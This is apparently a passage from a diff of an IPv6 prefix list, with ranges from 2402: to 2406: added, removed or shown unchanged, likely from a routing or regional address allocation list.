+2402:2d80::/32 +2402:2e60::/32 +2402:2e80::/32 +2402:2f40::/32 +2402:3040::/32 +2402:3140::/32 +2402:3180:4::/46 +2402:3180:8::/45 +2402:3180:10::/44 +2402:3180:20::/43 +2402:3180:40::/42 +2402:3180:80::/41 +2402:3180:100::/40 +2402:3180:200::/39 +2402:3180:400::/38 +2402:3180:800::/37 +2402:3180:1000::/36 +2402:3180:2000::/35 +2402:3180:4000::/34 +2402:31c0::/32 +2402:3240::/32 +2402:32e0::/32 +2402:3320::/32 +2402:33a0::/32 +2402:33c0::/32 +2402:34e0::/32 +2402:36e0::/32 +2402:39c0::/32 +2402:3a40::/32 +2402:3ac0::/32 +2402:3ba0::/32 +2402:3c00::/32 +2402:3d20:2000::/35 +2402:3d20:4000::/34 +2402:3d20:8000::/33 +2402:3de0::/32 +2402:3e00::/32 +2402:3ec0::/32 +2402:3f80::/32 +2402:4060::/32 +2402:4140::/32 +2402:42c0::/32 +2402:4340::/32 +2402:43c0::/32 +2402:4440::/32 +2402:4500::/32 +2402:4540::/32 +2402:4820::/32 +2402:4a00::/32 +2402:4a40::/32 +2402:4a80::/32 +2402:4ac0::/32 2402:4b80::/32 +2402:4bc0::/32 +2402:4be0::/32 +2402:4c40::/32 +2402:4d60::/32 +2402:4d80::/32 2402:4e00::/32 +2402:4ec0::/32 +2402:4f80::/32 +2402:50a0::/32 +2402:5180::/32 +2402:51a0::/32 +2402:5340::/32 +2402:5820::/32 +2402:5880::/32 +2402:5920::/32 +2402:5940::/32 +2402:59c0::/32 +2402:5a40::/32 +2402:5b40::/32 +2402:5bc0::/32 +2402:5d00::/32 +2402:5e00::/32 +2402:5e40::/32 2402:5ec0::/32 +2402:5f20::/32 +2402:5f40::/32 +2402:6060::/32 +2402:6280::/32 +2402:6320::/32 +2402:64c0::/32 +2402:66c0::/32 +2402:6740::/32 +2402:67c0::/32 +2402:6960::/32 +2402:6a00::/32 +2402:6b40::/32 +2402:6bc0::/32 +2402:6e00::/32 2402:6e80::/32 -2402:6f40::/48 -2402:6f40:2::/47 -2402:7d80::/48 -2402:7d80:240::/48 -2402:7d80:8888::/48 +2402:6f40::/32 +2402:6fc0::/32 +2402:7040::/32 +2402:7060::/32 +2402:7080::/32 +2402:70a0::/29 +2402:70c0::/32 +2402:7140::/32 +2402:71c0::/32 +2402:7240::/32 +2402:72a0::/32 +2402:72c0::/32 +2402:73e0::/32 +2402:7540::/32 +2402:75c0::/32 +2402:7740::/32 +2402:7d00::/32 +2402:7d80::/32 +2402:8180::/32 +2402:8300::/32 +2402:8380::/32 +2402:85c0::/32 +2402:8800::/32 +2402:8840::/32 +2402:8900::/32 +2402:8940::/32 +2402:89c0::/32 +2402:8b40::/32 2402:8bc0::/32 -2402:92c0::/48 -2402:93c0::/48 -2402:93c0:20::/48 -2402:93c0:100::/48 +2402:8cc0::/32 +2402:8d40::/32 +2402:8f40::/32 +2402:8f80::/32 +2402:9240::/32 +2402:92c0::/32 +2402:93c0::/32 +2402:9440::/32 +2402:9480::/32 +2402:94c0::/32 +2402:9580::/32 +2402:95c0::/32 +2402:9680::/32 +2402:96c0::/32 +2402:9840::/32 +2402:98c0::/32 +2402:9940::/32 2402:9a80::/32 +2402:9b80::/32 +2402:9f80::/32 +2402:9fc0::/32 +2402:a080::/32 +2402:a180::/32 2402:a200::/32 -2402:b8c0:6::/48 -2402:b8c0:86::/48 -2402:b8c0:106::/48 -2402:b8c0:186::/48 +2402:a240::/32 +2402:a280::/32 +2402:a380::/32 +2402:a640::/32 +2402:a680::/32 +2402:a6c0::/32 +2402:a840::/32 +2402:a880::/32 +2402:aa80::/32 +2402:ab80::/32 +2402:ae00::/32 +2402:ae40::/32 +2402:aec0::/32 +2402:af80::/32 +2402:afc0::/32 +2402:b080::/32 +2402:b200::/32 +2402:b440::/32 +2402:b6c0::/32 +2402:b880::/32 +2402:b8c0::/32 +2402:b940:100::/40 +2402:b940:400::/38 +2402:b940:800::/37 +2402:b940:1000::/36 +2402:b940:2000::/35 +2402:b940:4000::/34 +2402:b940:8000::/33 +2402:b980::/32 +2402:ba80::/32 +2402:bac0::/32 +2402:bbc0::/32 +2402:bf80::/32 +2402:c280::/32 +2402:c3c0::/32 +2402:c5c0::/32 +2402:c9c0::/32 +2402:cc40::/32 +2402:cf00::/32 +2402:cf40::/32 +2402:d040::/32 +2402:d140::/32 +2402:d2c0:3::/48 +2402:d2c0:4::/46 +2402:d2c0:8::/45 +2402:d2c0:10::/44 +2402:d2c0:20::/43 +2402:d2c0:40::/42 +2402:d2c0:80::/41 +2402:d2c0:100::/40 +2402:d2c0:200::/39 +2402:d2c0:400::/38 +2402:d2c0:800::/37 +2402:d2c0:1000::/36 +2402:d2c0:2000::/35 +2402:d2c0:4000::/34 +2402:d2c0:8000::/33 +2402:d300::/32 2402:d340::/32 -2402:db40:5100::/48 -2402:db40:5f00::/46 -2402:dfc0::/44 -2402:dfc0:50::/44 +2402:d380::/32 +2402:d5c0::/32 +2402:d6c0::/32 +2402:d740::/32 +2402:d780::/32 +2402:d880::/32 +2402:d980::/32 +2402:da40::/32 +2402:db40::/34 +2402:db40:4000::/36 +2402:db40:5000::/37 +2402:db40:5800::/40 +2402:db40:5901::/48 +2402:db40:5902::/47 +2402:db40:5904::/46 +2402:db40:5908::/45 +2402:db40:5910::/44 +2402:db40:5920::/43 +2402:db40:5940::/42 +2402:db40:5980::/41 +2402:db40:5a00::/39 +2402:db40:5c00::/38 +2402:db40:6000::/35 +2402:db40:8000::/33 +2402:dcc0::/32 +2402:de40::/32 +2402:dec0::/32 +2402:df40::/32 +2402:dfc0::/32 +2402:e040::/32 +2402:e0c0::/32 +2402:e140::/32 +2402:e2c0::/32 +2402:e3c0::/32 2402:e480::/32 +2402:e540::/32 +2402:e680::/32 2402:e740::/32 -2402:e7c0::/32 -2402:e880::/48 +2402:e780::/32 +2402:e7c0::/37 +2402:e7c0:800::/38 +2402:e7c0:1000::/36 +2402:e7c0:2000::/35 +2402:e7c0:4000::/34 +2402:e7c0:8000::/33 +2402:e880::/32 +2402:e980::/32 +2402:eb80::/32 +2402:ec80::/32 +2402:ed80::/32 2402:ef40::/32 +2402:ef80::/32 2402:f000::/32 -2402:f140:ff00::/46 -2402:f140:ff04::/48 -2402:f140:ff10::/46 -2402:f140:ff14::/48 -2402:f8c0::/42 +2402:f140::/32 +2402:f480::/32 +2402:f540::/32 +2402:f580::/32 +2402:f780::/32 +2402:f8c0::/32 +2402:f980::/32 +2402:f9c0::/32 +2402:fac0::/32 +2402:fcc0::/32 +2402:ff40::/32 +2402:ffc0::/32 2403:600::/32 +2403:700::/32 +2403:7c0::/32 +2403:800::/31 +2403:980::/32 +2403:a80::/32 +2403:b80::/32 2403:c80::/32 -2403:1b80::/48 -2403:1ec0:1200::/48 -2403:1ec0:1400::/48 -2403:1ec0:1600::/48 -2403:1ec0:1610::/48 -2403:2040::/48 +2403:d80::/32 +2403:e80::/32 +2403:f00::/32 +2403:f80::/32 +2403:fc0:400::/38 +2403:fc0:c00::/38 +2403:fc0:1000::/36 +2403:fc0:2000::/35 +2403:fc0:4000::/34 +2403:fc0:8000::/33 +2403:1180::/32 +2403:1340::/32 +2403:1440::/32 +2403:1580::/32 +2403:16c0::/32 +2403:17c0::/32 +2403:1980::/32 +2403:1b80::/32 +2403:1c80::/32 +2403:1d80::/32 +2403:1dc0::/32 +2403:1e80::/32 +2403:1ec0::/36 +2403:1ec0:1000::/37 +2403:1ec0:1800::/40 +2403:1ec0:1901::/48 +2403:1ec0:1902::/47 +2403:1ec0:1904::/46 +2403:1ec0:1908::/45 +2403:1ec0:1950::/44 +2403:1ec0:1960::/43 +2403:1ec0:1980::/41 +2403:1ec0:1a00::/39 +2403:1ec0:1c00::/38 +2403:1ec0:2000::/35 +2403:1ec0:4000::/34 +2403:1ec0:8000::/33 +2403:1f80::/32 +2403:2040::/32 +2403:2080::/32 +2403:2180::/32 +2403:2240::/32 +2403:2280::/32 +2403:2380::/32 +2403:2440::/32 +2403:24c0::/32 +2403:2580::/32 +2403:25c0::/32 +2403:2680::/32 +2403:2740::/32 +2403:2780::/32 +2403:28c0::/32 +2403:2940::/32 +2403:2a00::/32 +2403:2a40::/32 +2403:2ac0::/32 2403:2b40::/32 +2403:2bc0::/32 +2403:2cc0::/32 +2403:2f40::/32 +2403:2fc0::/32 +2403:3040::/32 +2403:30c0::/32 2403:3140::/32 -2403:4280::/47 +2403:3280::/32 +2403:32c0::/32 +2403:3380::/32 +2403:3480::/32 +2403:3580::/32 +2403:3640::/32 +2403:3680::/32 +2403:36c0::/32 +2403:3740::/32 +2403:3780::/32 +2403:37c0::/32 +2403:3840::/32 +2403:3880::/32 +2403:38c0::/32 +2403:3940::/32 +2403:3980::/32 +2403:39c0::/32 +2403:3b80::/32 +2403:3c40::/32 +2403:3c80::/32 +2403:3cc0::/32 +2403:3d40::/32 +2403:3d80::/32 +2403:3dc0::/32 +2403:3e80::/32 +2403:3ec0::/32 +2403:3f80::/32 +2403:4080::/32 +2403:4180::/32 +2403:4280::/32 2403:4300::/32 -2403:4c80::/48 -2403:5c80::/48 -2403:6740::/48 +2403:4380::/32 +2403:4580::/32 +2403:4680::/32 +2403:4780::/32 +2403:4840::/32 +2403:4880::/32 +2403:4980::/32 +2403:4a40::/32 +2403:4a80::/32 +2403:4b40::/32 +2403:4b80::/32 +2403:4c80::/32 +2403:4cc0::/32 +2403:4d80::/32 +2403:4ec0::/32 +2403:5040::/32 +2403:5080::/32 +2403:5280::/32 +2403:5380::/32 +2403:54c0::/32 +2403:5540::/32 +2403:5580::/32 +2403:5640::/32 +2403:5780::/32 +2403:5980::/32 +2403:5a80::/32 +2403:5b40::/32 +2403:5b80::/32 +2403:5c80::/32 +2403:5d80::/32 +2403:5e40::/32 +2403:5e80::/32 +2403:5ec0::/32 +2403:5f80::/32 +2403:5fc0::/32 +2403:6080::/32 +2403:6180::/32 +2403:6280::/32 +2403:62c0::/32 +2403:6380::/42 +2403:6380:41::/48 +2403:6380:43::/48 +2403:6380:44::/46 +2403:6380:48::/45 +2403:6380:50::/44 +2403:6380:60::/43 +2403:6380:80::/41 +2403:6380:100::/40 +2403:6380:200::/39 +2403:6380:400::/38 +2403:6380:800::/37 +2403:6380:1000::/36 +2403:6380:2000::/35 +2403:6380:4000::/34 +2403:6380:8000::/33 +2403:6580::/32 +2403:6680::/32 +2403:6740::/32 +2403:6780::/32 +2403:6880::/32 +2403:6980::/32 2403:6a00::/32 +2403:6c80::/32 +2403:6d40::/32 +2403:6d80::/32 +2403:6e80::/32 +2403:6f40::/32 +2403:6fc0::/32 +2403:7040::/32 +2403:7080::/32 +2403:7180::/32 +2403:7280::/32 +2403:7380::/32 +2403:7480::/32 +2403:7540::/32 2403:7580::/32 -2403:8080:101::/48 +2403:76c0::/32 +2403:7700::/32 +2403:78c0::/32 +2403:7a80::/32 +2403:7b00::/32 +2403:7d80::/32 +2403:7e80::/32 +2403:7f80::/32 +2403:8080::/32 +2403:8180::/32 +2403:8280::/32 +2403:8380::/32 +2403:83c0::/32 +2403:8480::/32 +2403:8580::/32 +2403:8880::/32 +2403:8900::/32 +2403:8980::/32 +2403:8a40::/32 +2403:8a80::/32 +2403:8b00::/32 +2403:8b80::/32 2403:8c00::/32 -2403:9b00:2400::/48 -2403:9b00:6000::/48 -2403:a100::/48 -2403:a140:10::/48 -2403:a140:100::/40 +2403:8c80::/32 +2403:8d00::/32 +2403:8d80::/32 +2403:9080::/32 +2403:9180::/32 +2403:9280::/32 +2403:9380::/32 +2403:9480::/32 +2403:9580::/32 +2403:9680::/32 +2403:9780::/32 +2403:9880::/32 +2403:9a80::/32 +2403:9ac0::/32 +2403:9b00::/32 +2403:9b40::/32 +2403:9b80::/32 +2403:9c80::/32 +2403:9d00::/32 +2403:9d80::/32 +2403:9e40::/32 +2403:9e80::/32 +2403:9ec0::/32 +2403:9f80::/32 +2403:a100::/32 +2403:a140::/32 2403:a200::/32 +2403:a300::/32 +2403:a480::/32 +2403:a580::/32 +2403:a680::/32 +2403:a6c0::/32 +2403:a780::/32 +2403:a880::/32 +2403:a940::/32 +2403:a980::/32 +2403:a9c0::/32 +2403:aa40::/32 +2403:aa80::/32 +2403:ab80::/32 2403:ac00::/32 +2403:af80::/32 +2403:b080::/32 +2403:b180::/32 +2403:b280::/32 +2403:b380::/32 2403:b400::/32 +2403:b480::/32 +2403:b580::/32 +2403:b680::/32 +2403:b780::/32 +2403:b880::/32 +2403:b980::/32 +2403:ba40::/32 +2403:c040::/32 +2403:c080::/32 +2403:c100::/32 +2403:c140::/32 +2403:c180::/32 +2403:c3c0::/32 +2403:c440::/32 +2403:c480::/32 +2403:c4c0::/32 2403:c980::/32 +2403:cdc0::/32 +2403:cf80::/32 +2403:d080::/32 +2403:d180::/32 +2403:d280::/32 +2403:d2c0::/32 +2403:d380::/32 2403:d400::/32 -2403:e7c0:3::/48 -2403:f4c0::/48 -2403:ffc0:1100::/40 -2403:ffc0:1200::/39 -2404:bc0:1::/48 -2404:bc0:4000::/43 -2404:bc0:4100::/43 -2404:bc0:4200::/43 -2404:bc0:4300::/44 -2404:bc0:4400::/43 -2404:bc0:4500::/43 -2404:bc0:4620::/44 -2404:bc0:4f00::/43 +2403:d440::/32 +2403:d480::/32 +2403:d580::/32 +2403:d680::/32 +2403:d780::/32 +2403:d7c0::/32 +2403:d880::/32 +2403:d980::/32 +2403:d9c0::/32 +2403:da80::/32 +2403:dac0::/32 +2403:db00::/32 +2403:db80::/32 +2403:dc80::/32 +2403:dd80::/32 +2403:de80::/32 +2403:df80::/32 +2403:e080::/32 +2403:e180::/32 +2403:e280::/32 +2403:e300::/32 +2403:e480::/32 +2403:e500::/32 +2403:e580::/32 +2403:e640::/32 +2403:e680::/32 +2403:e700::/32 +2403:e780::/32 +2403:e7c0::/32 +2403:e880::/32 +2403:e980::/32 +2403:ea80::/32 +2403:eac0::/32 +2403:eb80::/32 +2403:ec80::/32 +2403:ed00::/32 +2403:ed40::/32 +2403:ed80::/32 +2403:ee80::/32 +2403:ef80::/32 +2403:f080::/32 +2403:f100::/32 +2403:f180::/32 +2403:f240::/32 +2403:f280::/32 +2403:f300::/32 +2403:f380::/32 +2403:f4c0::/32 +2403:f580::/32 +2403:f740::/32 +2403:f8c0::/32 +2403:f980::/32 +2403:fb00::/32 +2403:fb80::/32 +2403:fc40::/32 +2403:fe40::/32 +2403:fe80::/32 +2403:fec0::/32 +2403:ff80::/32 +2403:ffc0::/31 +2404:100::/32 +2404:158::/32 +2404:240::/32 +2404:280::/32 +2404:440::/32 +2404:480::/32 +2404:680::/32 +2404:a80::/32 +2404:b80::/32 +2404:bc0::/32 +2404:c40::/32 +2404:d80::/32 +2404:f00::/32 +2404:f80::/32 +2404:1080::/32 +2404:10c0::/32 +2404:1180::/32 +2404:14c0::/32 +2404:1880::/32 2404:1c80::/32 -2404:3700::/48 +2404:1cc0::/32 +2404:1d80::/39 +2404:1d80:200::/44 +2404:1d80:210::/47 +2404:1d80:212::/48 +2404:1d80:214::/46 +2404:1d80:218::/45 +2404:1d80:220::/43 +2404:1d80:240::/42 +2404:1d80:280::/41 +2404:1d80:300::/40 +2404:1d80:400::/38 +2404:1d80:800::/37 +2404:1d80:1000::/36 +2404:1d80:2000::/35 +2404:1d80:4000::/34 +2404:1d80:8000::/33 +2404:1e80::/32 +2404:1f40::/32 +2404:21c0::/32 +2404:30c0::/32 +2404:3140::/32 +2404:31c0::/32 +2404:3240::/32 +2404:32c0::/32 +2404:3300::/32 +2404:3340::/32 +2404:3480::/32 +2404:35c0::/32 +2404:3640::/32 +2404:36c0::/32 +2404:3700::/32 +2404:3740::/32 +2404:37c0::/32 +2404:3840::/32 +2404:3940::/32 +2404:3f40::/32 +2404:41c0::/32 +2404:4540::/32 +2404:4740::/32 +2404:4d00::/32 2404:4dc0::/32 -2404:6380::/48 -2404:6380:1000::/48 -2404:6380:8001::/48 -2404:6500:dcb3::/48 -2404:7180:a000::/48 -2404:7180:a010::/48 -2404:7180:aa00::/48 -2404:7180:aa10::/48 -2404:7180:b001::/48 -2404:7180:b002::/48 -2404:7180:b010::/48 -2404:7180:c001::/48 -2404:7180:c002::/48 -2404:7180:c011::/48 -2404:7180:c012::/48 -2404:7180:f000::/48 -2404:7180:f010::/48 -2404:7240::/33 +2404:51c0::/32 +2404:5640::/32 +2404:5a80::/32 +2404:5b00::/32 +2404:5d00::/32 +2404:6000::/32 +2404:6100::/32 +2404:6380::/32 +2404:6500::/32 +2404:65c0::/32 +2404:6a40::/32 +2404:6f80::/32 +2404:7100::/32 +2404:7180::/32 +2404:71c0::/32 +2404:7240::/32 +2404:74c0::/32 2404:7600::/32 +2404:7740::/32 2404:7940::/32 -2404:c2c0::/40 -2404:c2c0:111::/48 -2404:c2c0:112::/48 -2404:c2c0:240::/44 -2404:c2c0:280::/44 -2404:c2c0:2c0::/44 -2404:c2c0:501::/48 -2404:c2c0:4000::/40 -2404:c2c0:4100::/48 -2404:c2c0:6000::/40 -2404:c2c0:8000::/36 -2404:c2c0:bb00::/40 -2404:c2c0:c000::/36 +2404:7d00::/32 +2404:8040::/32 +2404:80c0::/32 +2404:8140::/32 +2404:81c0::/32 +2404:8480::/32 +2404:8580::/32 +2404:8700::/32 +2404:8880::/32 +2404:8a80::/32 +2404:8dc0::/32 +2404:9340::/32 +2404:9b80::/32 +2404:9c80::/32 +2404:a000::/32 +2404:a080::/32 +2404:a0c0::/32 +2404:a180::/32 +2404:a240::/32 +2404:a740::/32 +2404:b100::/32 +2404:b340::/32 +2404:b3c0::/32 +2404:b440::/32 +2404:b4c0::/32 +2404:b900::/32 +2404:bbc0::/32 +2404:bc40::/32 +2404:c1c0::/32 +2404:c240::/32 +2404:c2c0::/32 2404:c300::/32 -2404:c940::/48 -2404:e280::/47 +2404:c3c0::/32 +2404:c440::/32 +2404:c4c0::/32 +2404:c540::/32 +2404:c5c0::/32 +2404:c940::/32 +2404:c9c0::/32 +2404:cd00::/32 +2404:d040::/32 +2404:d080::/32 +2404:d140::/32 +2404:d280::/32 +2404:d3c0::/32 +2404:d640::/32 +2404:d6c0::/32 +2404:d7c0::/32 +2404:d840::/32 +2404:dd80::/32 +2404:df00::/32 +2404:e280::/32 +2404:e540::/32 +2404:e780::/32 +2404:e880::/32 2404:e8c0::/32 -2405:80:10::/48 -2405:80:13::/48 -2405:6c0:2::/48 -2405:6c0:4::/48 -2405:1480:1000::/48 -2405:1480:2000::/48 -2405:1480:3000::/47 -2405:3140:11::/48 -2405:3140:21::/48 -2405:3140:31::/48 -2405:3140:3a::/48 -2405:68c0:21::/48 -2405:6940::/48 -2405:6f00:c101::/48 -2405:6f00:c102::/48 -2405:6f00:c170::/47 -2405:6f00:c602::/48 -2405:7040:6000::/47 -2405:78c0:6e00::/43 +2404:eb80::/32 +2404:ec40::/32 +2404:ecc0::/32 +2404:edc0::/32 +2404:f040::/32 +2404:f4c0:f000::/44 +2404:f7c0::/32 +2405:80::/32 +2405:480::/32 +2405:580::/32 +2405:680::/32 +2405:6c0:2::/47 +2405:6c0:4::/46 +2405:6c0:8::/45 +2405:6c0:10::/44 +2405:6c0:20::/43 +2405:6c0:40::/42 +2405:6c0:80::/41 +2405:6c0:100::/40 +2405:6c0:200::/39 +2405:6c0:400::/38 +2405:6c0:800::/37 +2405:6c0:1000::/36 +2405:6c0:2000::/35 +2405:6c0:4000::/34 +2405:6c0:8000::/33 +2405:780::/32 +2405:880::/32 +2405:940::/32 +2405:980::/32 +2405:9c0::/32 +2405:a80::/32 +2405:b80::/32 +2405:c80::/32 +2405:d80::/32 +2405:e80::/32 +2405:f80::/32 +2405:1080::/32 +2405:1180::/32 +2405:1280::/32 +2405:1380::/32 +2405:1480::/32 +2405:1580::/32 +2405:1680::/32 +2405:18c0::/32 +2405:1c80::/32 +2405:1d80::/32 +2405:1e80::/32 +2405:1f80::/32 +2405:1fc0::/32 +2405:2080::/32 +2405:2180::/32 +2405:2280::/32 +2405:2340::/32 +2405:2380::/32 +2405:2480::/32 +2405:24c0::/32 +2405:2580::/32 +2405:2680::/32 +2405:2780::/32 +2405:2880::/32 +2405:2980::/32 +2405:2a80::/32 +2405:2b80::/32 +2405:2bc0::/32 +2405:2c80::/32 +2405:2d80::/32 +2405:2e80::/32 +2405:2ec0::/32 +2405:2f40::/32 +2405:2f80::/32 +2405:3140::/32 +2405:31c0::/32 +2405:37c0::/32 +2405:3880::/32 +2405:3980::/32 +2405:39c0::/32 +2405:3a80::/32 +2405:3ac0::/32 +2405:3b00::/32 +2405:3b80::/32 +2405:3bc0::/32 +2405:3c40::/32 +2405:3c80::/32 +2405:3d80::/32 +2405:3e80::/32 +2405:3f40::/32 +2405:3f80::/32 +2405:4080::/32 +2405:4140::/32 +2405:4180::/32 +2405:41c0::/32 +2405:4280::/32 +2405:4380::/32 +2405:4480::/32 +2405:44c0::/32 +2405:4540::/32 +2405:4580::/32 +2405:4680::/32 +2405:4780::/32 +2405:4880::/32 +2405:4980::/32 +2405:4a80::/32 +2405:4b80::/32 +2405:4d40::/32 +2405:4e80::/32 +2405:4f80::/32 +2405:5080::/32 +2405:5180::/32 +2405:5240:400::/38 +2405:5240:c00::/38 +2405:5240:1000::/36 +2405:5240:2000::/35 +2405:5240:4000::/34 +2405:5240:8000::/33 +2405:5280::/32 +2405:52c0::/32 +2405:5380::/32 +2405:5480::/32 +2405:5580::/32 +2405:5680::/32 +2405:5780::/32 +2405:57c0::/32 +2405:5880::/32 +2405:5980::/32 +2405:5a80::/32 +2405:5b80::/32 +2405:5c80::/32 +2405:5cc0::/32 +2405:5d40::/32 +2405:5d80::/32 +2405:5dc0::/32 +2405:5e80::/32 +2405:5f80::/32 +2405:6080::/32 +2405:6180::/32 +2405:6200::/32 +2405:6880::/32 +2405:68c0::/32 +2405:6940::/32 +2405:69c0::/32 +2405:6a80::/32 +2405:6b80::/32 +2405:6c80::/32 +2405:6d80::/32 +2405:6e80::/32 +2405:6f00::/32 +2405:6f80::/32 +2405:7040::/32 +2405:7080::/32 +2405:7180::/32 +2405:7280::/32 +2405:7380::/32 +2405:7480::/32 +2405:7580::/32 +2405:7680::/32 +2405:7780::/32 +2405:7880::/32 +2405:78c0::/32 +2405:7980::/32 +2405:79c0::/32 +2405:7a80::/32 +2405:7b80::/32 +2405:7c80::/32 +2405:7d40::/32 +2405:7f40::/32 +2405:7fc0::/32 +2405:8280::/32 +2405:8480::/32 +2405:84c0::/34 +2405:84c0:4000::/35 +2405:84c0:6000::/37 +2405:84c0:6800::/38 +2405:84c0:6c00::/39 +2405:84c0:6e00::/40 +2405:84c0:7000::/36 +2405:84c0:8000::/48 +2405:84c0:8002::/48 +2405:84c0:8006::/48 +2405:84c0:8008::/45 +2405:84c0:8010::/48 +2405:84c0:8019::/48 +2405:84c0:801c::/46 +2405:84c0:8020::/47 +2405:84c0:8036::/47 +2405:84c0:8038::/46 +2405:84c0:803c::/47 +2405:84c0:803e::/48 +2405:84c0:8041::/48 +2405:84c0:8042::/47 +2405:84c0:8044::/47 +2405:84c0:8048::/46 +2405:84c0:804c::/47 +2405:84c0:804e::/48 +2405:84c0:8050::/48 +2405:84c0:8053::/48 +2405:84c0:8058::/45 +2405:84c0:8060::/43 +2405:84c0:8080::/41 +2405:84c0:8100::/40 +2405:84c0:8200::/39 +2405:84c0:8400::/38 +2405:84c0:8800::/37 +2405:84c0:9000::/36 +2405:84c0:a000::/40 +2405:84c0:a101::/48 +2405:84c0:a102::/47 +2405:84c0:a104::/46 +2405:84c0:a108::/45 +2405:84c0:a110::/44 +2405:84c0:a120::/43 +2405:84c0:a140::/42 +2405:84c0:a180::/41 +2405:84c0:a200::/39 +2405:84c0:a400::/38 +2405:84c0:a800::/37 +2405:84c0:b000::/36 +2405:84c0:c000::/34 +2405:8580::/32 +2405:8680::/32 +2405:8780::/32 +2405:8880::/32 +2405:8980::/32 2405:8a40::/32 -2405:a900:ffee::/48 +2405:8a80::/32 +2405:8ac0::/32 +2405:8b80::/32 +2405:8c80::/32 +2405:8d80::/32 +2405:8e80::/32 +2405:8f80::/32 +2405:9080::/32 +2405:9180::/32 +2405:9280::/32 +2405:9300::/32 +2405:9340::/32 +2405:9380::/32 +2405:93c0::/32 +2405:9480::/32 +2405:94c0::/32 +2405:9580::/32 +2405:9680::/32 +2405:9700::/32 +2405:9780::/32 +2405:97c0::/32 +2405:9880::/32 +2405:9900::/32 +2405:9980::/32 +2405:99c0::/32 +2405:9a80::/32 +2405:9b00::/32 +2405:9b80::/32 +2405:9bc0::/32 +2405:9e00::/32 +2405:a240::/32 +2405:a500::/32 +2405:a680::/32 +2405:a900::/32 +2405:a980::/32 +2405:aa80::/32 +2405:ab00::/32 2405:ad00::/32 +2405:af00::/32 +2405:b100::/32 +2405:b300::/32 2405:b7c0::/32 +2405:b880::/32 +2405:b980::/32 +2405:bb00::/32 +2405:bd00::/32 +2405:bd80::/32 +2405:bdc0::/32 +2405:be80::/32 +2405:bf00::/32 +2405:c040::/32 +2405:c280::/32 +2405:c380::/32 +2405:c480::/32 +2405:c500::/32 +2405:c580::/32 +2405:c680::/32 +2405:c780::/32 +2405:c880::/32 +2405:c980::/32 +2405:ca80::/32 +2405:cb80::/32 +2405:cc80::/32 +2405:cd80::/32 +2405:ce80::/32 +2405:d280::/32 +2405:d4c0::/32 +2405:d700::/32 2405:d900::/32 +2405:df40::/32 2405:e000::/32 +2405:e040::/32 +2405:e1c0::/32 +2405:e600::/32 +2405:ef40::/30 +2405:f340::/32 +2405:f6c0::/32 2405:f940::/32 +2405:fdc0::/32 +2406:40::/32 +2406:80::/32 +2406:c0::/32 +2406:140:400::/38 +2406:140:c00::/38 +2406:140:1000::/36 +2406:140:2000::/35 +2406:140:4000::/34 +2406:140:8000::/33 2406:280::/32 -2406:840:f889::/48 -2406:1080::/48 +2406:440::/32 +2406:4c0::/32 +2406:840::/48 +2406:840:3::/48 +2406:840:4::/46 +2406:840:8::/45 +2406:840:18::/45 +2406:840:21::/48 +2406:840:22::/47 +2406:840:24::/46 +2406:840:28::/45 +2406:840:30::/44 +2406:840:40::/46 +2406:840:45::/48 +2406:840:47::/48 +2406:840:48::/45 +2406:840:50::/44 +2406:840:60::/44 +2406:840:70::/45 +2406:840:7a::/47 +2406:840:7c::/46 +2406:840:82::/47 +2406:840:84::/46 +2406:840:88::/45 +2406:840:91::/48 +2406:840:92::/47 +2406:840:94::/46 +2406:840:98::/45 +2406:840:a0::/43 +2406:840:c0::/42 +2406:840:102::/48 +2406:840:104::/46 +2406:840:108::/45 +2406:840:111::/48 +2406:840:112::/47 +2406:840:114::/46 +2406:840:118::/45 +2406:840:120::/43 +2406:840:140::/42 +2406:840:181::/48 +2406:840:182::/47 +2406:840:184::/46 +2406:840:188::/45 +2406:840:190::/44 +2406:840:1a0::/43 +2406:840:1c0::/42 +2406:840:201::/48 +2406:840:202::/47 +2406:840:204::/46 +2406:840:208::/45 +2406:840:210::/44 +2406:840:220::/43 +2406:840:240::/42 +2406:840:280::/42 +2406:840:2c0::/43 +2406:840:2e1::/48 +2406:840:2e2::/47 +2406:840:2e4::/46 +2406:840:2e8::/45 +2406:840:2f0::/44 +2406:840:300::/41 +2406:840:382::/47 +2406:840:384::/46 +2406:840:388::/45 +2406:840:390::/44 +2406:840:3a0::/43 +2406:840:3c0::/47 +2406:840:3c3::/48 +2406:840:3c4::/46 +2406:840:3c8::/45 +2406:840:3d0::/44 +2406:840:3e1::/48 +2406:840:3e2::/47 +2406:840:3e4::/46 +2406:840:3e8::/45 +2406:840:3f0::/44 +2406:840:400::/44 +2406:840:412::/47 +2406:840:414::/46 +2406:840:418::/45 +2406:840:421::/48 +2406:840:422::/47 +2406:840:424::/46 +2406:840:428::/45 +2406:840:430::/44 +2406:840:440::/42 +2406:840:481::/48 +2406:840:482::/47 +2406:840:484::/46 +2406:840:488::/45 +2406:840:490::/44 +2406:840:4a0::/43 +2406:840:4c0::/42 +2406:840:500::/42 +2406:840:541::/48 +2406:840:542::/47 +2406:840:544::/46 +2406:840:548::/45 +2406:840:550::/44 +2406:840:560::/43 +2406:840:580::/41 +2406:840:600::/41 +2406:840:681::/48 +2406:840:682::/47 +2406:840:684::/46 +2406:840:688::/45 +2406:840:690::/44 +2406:840:6a0::/43 +2406:840:6c0::/48 +2406:840:6c2::/47 +2406:840:6c4::/46 +2406:840:6c8::/45 +2406:840:6d0::/44 +2406:840:6e0::/43 +2406:840:700::/44 +2406:840:711::/48 +2406:840:712::/47 +2406:840:714::/46 +2406:840:718::/45 +2406:840:720::/43 +2406:840:740::/42 +2406:840:780::/41 +2406:840:804::/47 +2406:840:807::/48 +2406:840:808::/45 +2406:840:810::/44 +2406:840:820::/43 +2406:840:840::/48 +2406:840:843::/48 +2406:840:844::/46 +2406:840:848::/45 +2406:840:850::/44 +2406:840:861::/48 +2406:840:862::/47 +2406:840:864::/46 +2406:840:868::/45 +2406:840:870::/44 +2406:840:884::/46 +2406:840:888::/45 +2406:840:890::/44 +2406:840:8a0::/43 +2406:840:8c0::/42 +2406:840:900::/40 +2406:840:a00::/44 +2406:840:a12::/47 +2406:840:a14::/46 +2406:840:a18::/45 +2406:840:a20::/44 +2406:840:a30::/48 +2406:840:a33::/48 +2406:840:a34::/46 +2406:840:a38::/45 +2406:840:a40::/42 +2406:840:a80::/41 +2406:840:b00::/40 +2406:840:c00::/47 +2406:840:c03::/48 +2406:840:c04::/46 +2406:840:c08::/45 +2406:840:c10::/44 +2406:840:c20::/43 +2406:840:c40::/43 +2406:840:c61::/48 +2406:840:c62::/47 +2406:840:c64::/46 +2406:840:c68::/45 +2406:840:c70::/44 +2406:840:c80::/43 +2406:840:ca0::/44 